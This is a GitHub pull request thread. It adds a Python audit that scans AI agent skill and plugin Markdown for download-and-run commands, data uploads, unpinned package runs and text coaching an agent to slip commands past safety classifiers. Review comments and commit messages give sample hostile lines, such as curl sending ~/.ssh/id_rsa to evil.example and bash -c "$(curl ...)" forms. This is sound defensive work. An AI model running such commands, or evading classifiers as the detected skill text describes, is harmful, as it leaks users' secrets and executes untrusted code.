Repository navigation
Conversation
Pinned external plugins: validate_external_sources.py reads every Markdown file a pin ships and fails on guardrail evasion, pipe-to-shell, unpinned package runs, uploads to remote hosts and unreadable files that .external-skill-audit-allowlist.json has not accepted at that commit. This repository's plugins: audit_skill_text.py --catalog runs in validate on the plugins a pull request changes. Evasion and pipe-to-shell fail; the other rules annotate the pull request. Requested by [email protected] Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
- pipe-to-shell: one optional path before env and one after it, so hostile slash runs stay linear; match with shell quoting removed, so `| "bash"` and `| ba\sh` are caught - outbound-upload: trust an upload only when every parsed destination argument is trusted; header values no longer count, --url does, and --resolve, --proxy or a config file reroute - --catalog: pick plugins by the paths git names, so a symlink is judged where it sits, and fail on unauditable files - a file name with a control character is unauditable, and annotation properties are escaped, so a name cannot forge a workflow command - an adapter's named entrypoints are audited even where the root-level skips apply Requested by [email protected] Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
Catch $(curl), <(curl) and PowerShell download-and-run forms, sudo -u pipes, CRLF continuations and every send flag; split curl and wget option tables; parse escaped separators, comments and abbreviated reroute options safely; audit .markdown, .mdx and upper-case names. In catalog mode, select plugins changed in the working tree or in the catalog, refuse symlinked plugin folders, and accept reviewed local findings bound to their exact excerpt. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
A match excerpt such as 'bash -c $(curl' survives a change of URL, so an accepted Homebrew line could later point anywhere. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
Read the command after a pipe as tokens so wrappers (command, nohup, sudo -u, env) cannot hide the shell, match downloaders with quoting removed, accept a path before a substituted curl and iex $(irm ...), treat abbreviated long send options as uploads, audit the component folders a plugin manifest declares, refuse catalog sources with '..', and bind reviewed local findings to the whole continued command. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
The Codex recheck of 2c8c147 found '| bash;' and '| sudo -n bash' no longer flagged, and --upl, --js and --meth missed. Words now end at shell punctuation and each pipe reads only up to the next |, ; or &, which also keeps the scan linear on long chains of pipes. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
All reported issues were addressed across 7 files
Heads up: you’re close to your included review allowance. Set a flex budget so reviews don’t pause.
Turn on auto-fix | Re-trigger cubic
Skip lines that cannot run anything, report one pipe-to-shell finding per downloader, and cache destination parsing for repeated commands. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
PowerShell and pwsh as pipe targets, sudo --user and other long wrapper options, no fixed scan window after a pipe, npx -p/--package needs an exact version, quoting around the transfer tool or a send flag is an upload, Codex manifest skill folders audited for pinned plugins, a symlinked pinned source root refused, reviewed_local entries for a removed plugin reported as stale, and a wider timing budget for CI. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
All reported issues were addressed across 5 files (changes from recent commits).
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
A plain upload earlier on a line no longer exempts a quoted one later. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
0 issues found across 2 files (changes from recent commits).
Confidence score: 5/5
- Automated review surfaced no issues in the provided summaries.
- No files require special attention.
Requires human review: This PR does not meet the repository auto-approval settings.
Turn on auto-fix | Re-trigger cubic
Also treat powershell and pwsh as targets for either kind of downloader, so irm ... | pwsh is a pipe-to-shell finding. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
…nquoted pydantic 2.14.4 and truststore 0.10.5 fix CVEs Aikido reported on the vendored copy of this lock; the other pins are unchanged and the full scan still passes. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>
There was a problem hiding this comment.
All reported issues were addressed across 4 files (changes from recent commits).
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
0 issues found across 1 file (changes from recent commits).
Confidence score: 5/5
- Automated review surfaced no issues in the provided summaries.
- No files require special attention.
Requires human review: This PR does not meet the repository auto-approval settings.
Turn on auto-fix | Re-trigger cubic
|
@s2d2-agent run the security review gates and make this it's mergeable |
There was a problem hiding this comment.
All reported issues were addressed across 2 files (changes from recent commits).
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
- pipe-to-shell: here-strings and redirected substitutions (bash <<< "$(curl)",
bash < <(curl)); a substitution finding spans to its closing ")" so a
reviewed_local line covers every command inside it
- guardrail-evasion: "won't get flagged", "isn't flagged"
- outbound-upload: headers, cookies and credentials the shell fills in,
substitutions in the URL, curl --doh-url/--dns-servers, CURL_HOME and a
proxy exported earlier in the file (checked once per file, linear)
- skipped root files named with a path (${CLAUDE_PLUGIN_ROOT}/AGENTS.md) and
outputStyles folders are audited
- validate_external_sources escapes control characters in its report
- scan-skills.sh changed mode works on bash 3.2; a missing --base is an error,
not a traceback
Co-Authored-By: Claude Opus 5.5 <[email protected]>
Co-authored-by: Guillaume Lebedel <[email protected]>
- unpinned runs: one walker reads each npx/bunx/npm exec command, skipping the values of npm options such as --prefix, --registry and -C, so a later -p/--package is still checked. After an unknown long option the next word is checked both as the package and as that option's value. The walker replaces the _NPX regex, so `npx -y --prefix /tmp tool` is caught too, and a command after a pinned --package is no longer read as a package. - substitution: an fd number before < or <<< (python3 0<<< "$(curl ...)", python3 0< <(curl ...)) Co-Authored-By: Claude Opus 5.5 <[email protected]>
There was a problem hiding this comment.
All reported issues were addressed across 6 files (changes from recent commits).
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
…eses Codex security pass on 10c7640: - a newline right after `$(` (or commands before the download on later lines) hid the download: lines inside an unclosed $( or <( are now joined, offsets unchanged - a quoted `)` ended the reviewed span early: the close is found by a small quote-, comment- and case-aware scan, and a substitution that runs onto later lines (or holds a here-document or case) binds a reviewed_local entry to the end of its code block - `$(case x in a) curl ...;; esac)` is detected Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
All reported issues were addressed across 3 files (changes from recent commits).
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
- outbound-upload: any value the shell fills in among curl/wget arguments
counts as sending ($VAR, ${VAR}, $(...), a backtick right after a URL or
option character), so --url=..., concatenated 'Bearer '"$TOKEN" and
schemeless URLs are caught; single-quoted text stays literal, inline code
and prices in prose do not count
- pipe-to-shell: `bash -c "` with the substitution on the next line; plain
and arithmetic parentheses nest inside a substitution, so they do not end
the reviewed span; the line joining feeds only this rule
- validate_external_sources escapes every non-printable character (U+2028)
- docs: the expansion rule and every form that binds to the code block end
Co-Authored-By: Claude Opus 5.5 <[email protected]>
Co-authored-by: Guillaume Lebedel <[email protected]>
The shell closes a backtick substitution at the first backtick that is not escaped by a backslash, quoted or not; the reviewed span now does the same, so an escaped backtick cannot end the span before later commands. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
All reported issues were addressed across 5 files (changes from recent commits).
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
… line Codex on 3314818 found five regressions against 84b0de0: - an apostrophe inside double quotes hid `"X: '$TOKEN'"` - a backtick substitution after a space in a double-quoted header was missed - `cu"rl" --user=$USER:$PASS` lost its expansion check - `$HOME` in a later inline-code span after `curl x` was read as an argument - a prose double quote joined a download example to a later table row One walker now reads the arguments left to right: single-quoted text is literal, double-quoted text is searched for `$` and backticks, and the backtick that closes inline code ends the command. An open double quote carries to the next line only inside a fenced code block. Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
0 issues found across 2 files (changes from recent commits).
Confidence score: 5/5
- Automated review surfaced no issues in the provided summaries.
- No files require special attention.
Requires human review: This PR does not meet the repository auto-approval settings.
Turn on auto-fix | Re-trigger cubic
…lines - inside double quotes `\\$TOKEN` still expands: a backslash escapes only the next character - `cu"rl" ... https://x/curl`: the disguised name is compared by position, so a plain `curl` later in the URL does not skip the expansion check - outbound-upload reads the same joined lines as pipe-to-shell, so a double-quoted header split over lines in a code block keeps its `$TOKEN` Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
1 issue found across 2 files (changes from recent commits).
Confidence score: 4/5
scripts/audit_skill_text.pycan flagcurlmentioned inside a multiline quoted argument as an outbound upload, creating false positives for benign text. Make the scan distinguish quoted text from executing commands.
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. When an issue isn't valid or won't be fixed in this PR, reply in its thread with the reason and then resolve the thread. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="scripts/audit_skill_text.py">
<violation number="1" location="scripts/audit_skill_text.py:947">
P2: The joined-text upload scan treats `curl` inside a multiline double-quoted argument as an executing command. For example, `echo "curl\n$TOKEN" https://evil.example` is reported as an outbound upload even though it only runs `echo`; parse the joined shell text and ignore transfer names inside quoted arguments while retaining split-command detection.</violation>
</file>
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
| # These two read a command split over lines as one; the others keep the lines. | ||
| ("pipe-to-shell", lambda body: _pipes_to_shell(joined)), | ||
| ("unpinned-package-run", _unpinned_package_runs), | ||
| ("outbound-upload", lambda body: _outbound_uploads(joined, trusted_domains)), |
There was a problem hiding this comment.
P2: The joined-text upload scan treats curl inside a multiline double-quoted argument as an executing command. For example, echo "curl\n$TOKEN" https://evil.example is reported as an outbound upload even though it only runs echo; parse the joined shell text and ignore transfer names inside quoted arguments while retaining split-command detection.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. When an issue isn't valid or won't be fixed in this PR, reply in its thread with the reason and then resolve the thread. At scripts/audit_skill_text.py, line 947:
<comment>The joined-text upload scan treats `curl` inside a multiline double-quoted argument as an executing command. For example, `echo "curl\n$TOKEN" https://evil.example` is reported as an outbound upload even though it only runs `echo`; parse the joined shell text and ignore transfer names inside quoted arguments while retaining split-command detection.</comment>
<file context>
@@ -935,11 +941,12 @@ def audit_text(
+ ("pipe-to-shell", lambda body: _pipes_to_shell(joined)),
("unpinned-package-run", _unpinned_package_runs),
- ("outbound-upload", lambda body: _outbound_uploads(body, trusted_domains)),
+ ("outbound-upload", lambda body: _outbound_uploads(joined, trusted_domains)),
)
+ joined = _join_substitution_lines(logical)
</file context>
There was a problem hiding this comment.
Not changing this one, on purpose. A curl inside a quoted argument was already treated as a command before this PR round (echo "curl -d @f https://x" is an outbound-upload at 84b0de0), because the audit cannot tell echo "curl ..." from bash -c "curl ...", which does run it. The joined line inherits that conservative reading. For our own plugins it is a warning annotation; a pinned upstream that hits it gets a reviewed allowlist entry.
…ines Codex and cubic on f20983f: - in a fenced block every unquoted backtick pair is a substitution, so `curl -H `printf X:` "https://x/$TOKEN"` no longer stops at the backtick - an open double quote also carries across indented Markdown code lines - a disguised name's expansion check reads only its own arguments, so `x=$(cu"rl" url)` is not an upload - a comment on a joined line is blanked, so `$( # c` then `curl -d ...` on the next line is still read Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
There was a problem hiding this comment.
All reported issues were addressed across 2 files (changes from recent commits).
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
Codex and cubic on 4b0652b: - `bash -c "cu'rl' x/'$TOKEN'"`: the arguments after a disguised name keep the quote they sit in, so the inner `'` stay literal and `$TOKEN` counts - a ```markdown (md, mdx, text, txt, plain) fence holds prose: its inline code is not read as backtick substitutions, nor its quotes joined - indented Markdown code reads as shell for the upload rule too, as it already did for joining lines Co-Authored-By: Claude Opus 5.5 <[email protected]> Co-authored-by: Guillaume Lebedel <[email protected]>
| code_fence = not _PROSE_FENCE.match(line) if code_fence is None else None | ||
| yield offset, line, True, False | ||
| else: | ||
| yield offset, line, False, bool(code_fence or _INDENTED_CODE.match(line)) |
There was a problem hiding this comment.
🟠 High - Prose-fence classification bypasses shell and upload detection
A pinned plugin can label an executable shell block as text or markdown, causing the audit to treat its contents as prose. This lets a shell-valid backtick upload such as curl -H \cat ~/.ssh/id_rsa` https://evil.example/collect`, or a multiline bash -c command substitution, pass validation even though it can exfiltrate local data or execute downloaded code when followed by the agent.
Show fix
Do not trust the Markdown fence language to decide whether command substitutions are executable. Continue shell-aware analysis for all fenced blocks, or conservatively treat text/markdown fences containing command-shaped downloader or interpreter forms as code; add regressions for backtick uploads and multiline bash -c substitutions in prose-labeled fences.
More info - Reply on this comment to give feedback or ignore the issue.
| cut = _quoted_offset(command, transfer.end()) | ||
| _, quote = _scan_shell(command, 0, cut, "", []) | ||
| return _expands(quote + command[cut:], shell) |
There was a problem hiding this comment.
🔵 Low - Quoted curl examples are misclassified as outbound uploads
The new quote-preservation path treats any quote-stripped curl inside a command as an executable disguised transfer, even when it is only an argument to another command. For example, echo "cu'rl' x/'$TOKEN'" is reported as outbound-upload and bypasses destination analysis, so benign pinned-plugin documentation containing such an example can be rejected by the external validator.
Show fix
Require the normalized transfer token to occupy the command position (after a command boundary and permitted wrappers) before entering _hidden_send; otherwise ignore transfers embedded in another command's quoted argument. Add a regression test for echo "cu'rl' x/'$TOKEN'" and similar quoted examples.
More info - Reply on this comment to give feedback or ignore the issue.
|
Task failed: I had to stop this turn: it hit the 3h run cap (ran for 181min). The session is hibernated and preserved, so nothing is lost. Reply to continue from where I left off. |
There was a problem hiding this comment.
2 issues found across 2 files (changes from recent commits).
Confidence score: 3/5
scripts/audit_skill_text.pycan miss uploads in single-quotedbash -cpayloads because the nested shell still expands inner double-quoted variables. Handle the nested shell’s quoting and expansion semantics._code_linescan end a Markdown fence on a marker that doesn’t match the opener, so embedded examples can change what gets audited. Track the opening delimiter and close only on a matching one.
Prompt for AI agents (unresolved issues)
Check if these issues are valid — if so, understand the root cause of each and fix them. When an issue isn't valid or won't be fixed in this PR, reply in its thread with the reason and then resolve the thread. If appropriate, use sub-agents to investigate and fix each issue separately.
<file name="scripts/audit_skill_text.py">
<violation number="1" location="scripts/audit_skill_text.py:238">
P2: `_code_lines` exits a fence on any fence marker, regardless of the opening delimiter or length. Track the opening fence marker and close only on a matching delimiter, otherwise embedded Markdown examples can change the shell/prose classification for the rest of the block.</violation>
<violation number="2" location="scripts/audit_skill_text.py:919">
P1: The new quote preservation misses uploads hidden in a single-quoted `bash -c` payload: the outer shell preserves the payload, but the nested shell re-parses its inner double quotes and expands `$TOKEN`. Keep the outer-double-quote handling, but do not treat an outer single quote as making the nested command literal (for example, pass an empty prefix when `quote == "'"`).
(Based on your team's feedback about conservative handling of `curl` inside quoted shell text.) [6c7c070d-0f39-449a-8227-bf45509ef7e8]</violation>
</file>
Reply with feedback, questions, or to request a fix.
Turn on auto-fix | Re-trigger cubic
| # They keep the quote they sit in: in `bash -c "cu'rl' x/'$T'"` the `'` are literal. | ||
| cut = _quoted_offset(command, transfer.end()) | ||
| _, quote = _scan_shell(command, 0, cut, "", []) | ||
| return _expands(quote + command[cut:], shell) |
There was a problem hiding this comment.
P1: The new quote preservation misses uploads hidden in a single-quoted bash -c payload: the outer shell preserves the payload, but the nested shell re-parses its inner double quotes and expands $TOKEN. Keep the outer-double-quote handling, but do not treat an outer single quote as making the nested command literal (for example, pass an empty prefix when quote == "'").
(Based on your team's feedback about conservative handling of curl inside quoted shell text.) [6c7c070d-0f39-449a-8227-bf45509ef7e8]
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. When an issue isn't valid or won't be fixed in this PR, reply in its thread with the reason and then resolve the thread. At scripts/audit_skill_text.py, line 919:
<comment>The new quote preservation misses uploads hidden in a single-quoted `bash -c` payload: the outer shell preserves the payload, but the nested shell re-parses its inner double quotes and expands `$TOKEN`. Keep the outer-double-quote handling, but do not treat an outer single quote as making the nested command literal (for example, pass an empty prefix when `quote == "'"`).
(Based on your team's feedback about conservative handling of `curl` inside quoted shell text.) [6c7c070d-0f39-449a-8227-bf45509ef7e8]</comment>
<file context>
@@ -898,7 +913,10 @@ def _hidden_send(command: str, shell: bool) -> bool:
+ # They keep the quote they sit in: in `bash -c "cu'rl' x/'$T'"` the `'` are literal.
+ cut = _quoted_offset(command, transfer.end())
+ _, quote = _scan_shell(command, 0, cut, "", [])
+ return _expands(quote + command[cut:], shell)
</file context>
| return _expands(quote + command[cut:], shell) | |
| return _expands(("" if quote == "'" else quote) + command[cut:], shell) |
| code_fence: bool | None = None # None outside a fence | ||
| for offset, line in _lines(text): | ||
| if _FENCE.match(line): | ||
| code_fence = not _PROSE_FENCE.match(line) if code_fence is None else None |
There was a problem hiding this comment.
P2: _code_lines exits a fence on any fence marker, regardless of the opening delimiter or length. Track the opening fence marker and close only on a matching delimiter, otherwise embedded Markdown examples can change the shell/prose classification for the rest of the block.
Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. When an issue isn't valid or won't be fixed in this PR, reply in its thread with the reason and then resolve the thread. At scripts/audit_skill_text.py, line 238:
<comment>`_code_lines` exits a fence on any fence marker, regardless of the opening delimiter or length. Track the opening fence marker and close only on a matching delimiter, otherwise embedded Markdown examples can change the shell/prose classification for the rest of the block.</comment>
<file context>
@@ -223,6 +223,22 @@
+ code_fence: bool | None = None # None outside a fence
+ for offset, line in _lines(text):
+ if _FENCE.match(line):
+ code_fence = not _PROSE_FENCE.match(line) if code_fence is None else None
+ yield offset, line, True, False
+ else:
</file context>
A Git pin fixes the text of an upstream skill, not what that text tells the agent to run or send. NVIDIA SkillSpector (
scan-skills) only scansplugins/andcodex-compat/, so the 5 pinned external plugins here are never read at the pin. It also scored the pre-fix Convex skills (convex-backend-skill#64) 45, 25 and 50 against its fail-above-50 gate, missing a passage that told the agent how to get a download-and-run past harness safety classifiers. This PR adds an instruction-text audit for both pinned and in-repo plugins.Picked by s2d2's Agent meta watch at Guillaume Lebedel's request.
What it checks
guardrail-evasion: text telling the agent to get a command past a classifier, permission prompt or sandboxpipe-to-shell: a download run by a shell: piped (throughsudo,envorcommandtoo),bash -c "$(curl ...)",bash <(curl ...),source <(curl ...),iex (irm ...)unauditable: over 512 KiB, a symlinked folder, a link out of the plugin, a control character in a file nameunpinned-package-run:npx x@latest,npx -y x,npx x@1,pnpm dlx x,uvx xoutbound-upload:curl/wgetsending data (-d,-F,-T,--json,-X POST,--post-fileand their abbreviations, or any value the shell fills in outside single quotes:$TOKEN,$(cat f)) to a destination that is not local or a--trusted-domainA pinned finding passes only once it is accepted in
.external-skill-audit-allowlist.jsonfor that plugin, rule, file and commit; bumping the pin fails again until someone re-reads the new text. A blocking finding in one of this repository's own plugins can be accepted underreviewed_local, bound to the whole source line (continuation lines included), so any edit to the line needs a new review. Unused entries fail.On a pull request,
--catalog . --base origin/mainaudits every plugin with a changed file (committed or not), a new catalog entry, or an entry pointed at another folder, and every plugin when the audit script, its pin or the allowlist changed. A catalog source that leaves the repository, contains..or passes through a symlink is refused.Files
scripts/audit_skill_text.pyscripts/validate_external_sources.py.external-skill-audit-allowlist.jsonnpx create-video@latestscaffold ateed7024(it scaffolds an empty project and sends nothing)..github/workflows/validate-plugins.ymlmain.CLAUDE.md.github/skillspector/requirements.txt,scripts/scan-skills.shpydantic2.14.4 andtruststore0.10.5 (CVE fixes Aikido reported on the copy of this lock in agent-plugins; no other pin moved, full scan still passes), and changed paths read unquoted.tests/test_audit_skill_text.py,tests/test_validate_external_sources.pyResults on this repository
Validated 5 external plugins from 5 pinned repositories.with the Remotion entry; without it, the one finding fails.Audited 15 local plugins: 0 failing, 0 warnings.ruffandmypyclean.curlexamples, which the parser cannot prove go to a trusted host).Review rounds
Codex security passes,
/code-review, an eng-review, a recheck and the Aikido and cubic reviews of this PR found the bypasses and gaps below. Each has a test that fails on the commit before its fix:| a/a/a/...; any trusted-looking URL in a header suppressing an upload; a changed symlink escaping plugin selection; a newline in a file name forging a workflow command; adapter entrypoints such asREADME.mdskipped;| "bash"evading the pipe rule.$(curl),<(curl)and PowerShell forms;sudo -u; missing send flags;@1counted as a pin; CRLF continuations;.markdown,.mdxand.MD; curl and wget sharing one option table; backslash-escaped separators;#read as a comment inside a URL; abbreviated--reso; control characters in entrypoint names; symlinked plugin folders; catalog-only and uncommitted changes not selected.| command bashand| nohup sh; a quoted downloader name (cu"rl");bash <(/usr/bin/curl ...);iex $(irm ...); abbreviated--post-f; folders a manifest declares underdocs/; a catalog source climbing back out through a symlink; an accepted line whose URL changed on a continuation line; then, from the recheck of that commit,| bash;,| sudo -n bash,--upl,--jsand--meth.| powershell -Command -andpwsh;sudo --user root bash; padding between|andbash;npx -p xand--package=x;cu"rl" -dandcurl -\d; Codex manifest skill folders under.codex/in pinned plugins; a symlinked pinned source root;reviewed_localentries for a removed plugin; a parse cache holding long text; flaky timing budgets.<<<here-strings, also fd-prefixed (0<<<); value-taking npx options hiding a later package;env -S; referenced skipped root files and symlinked folders; strict UTF-8.CURL_HOMEset earlier in the file;--dns-serversand--doh-url; theoutputStylesmanifest key; a missing merge base as an error, not a traceback; substitutions spanning lines and quoted).curl/wgetarguments (--url=,'Bearer '"$TOKEN", schemeless URLs,\\$TOKEN);bash -c "split over lines; plain and arithmetic parentheses; escaped backticks;cu"rl"with a literalcurllater in the URL; U+2028 in validator output; a comment inside a substitution hiding the next line; a backtick argument in a code block; indented Markdown code; the outer quote after a disguised name.Not covered
This is a text tripwire, not a sandbox: it catches the common ways a skill tells an agent to fetch and run code or send data, and the review rounds show there is always another spelling.
markdown,md,textor similar fence) or an indented line. Outside code, a double quote left open at the end of a line does not join the next line (prose quotations would otherwise join unrelated text).curlinside a quoted argument counts as a command (echo "curl -d ..."is flagged), since the text cannot tell it frombash -c "curl ...".docs/,examples/andtests/of a pinned upstream are skipped unless named as an entrypoint or declared in its manifest.Post-merge validation
validaterun onmainprintsAudited 15 local pluginsand the external validator still passes.🤖 Generated with Claude Code
Review gates and proof
Recorded by s2d2 on
ba1eaf1. Kind of change: high risk.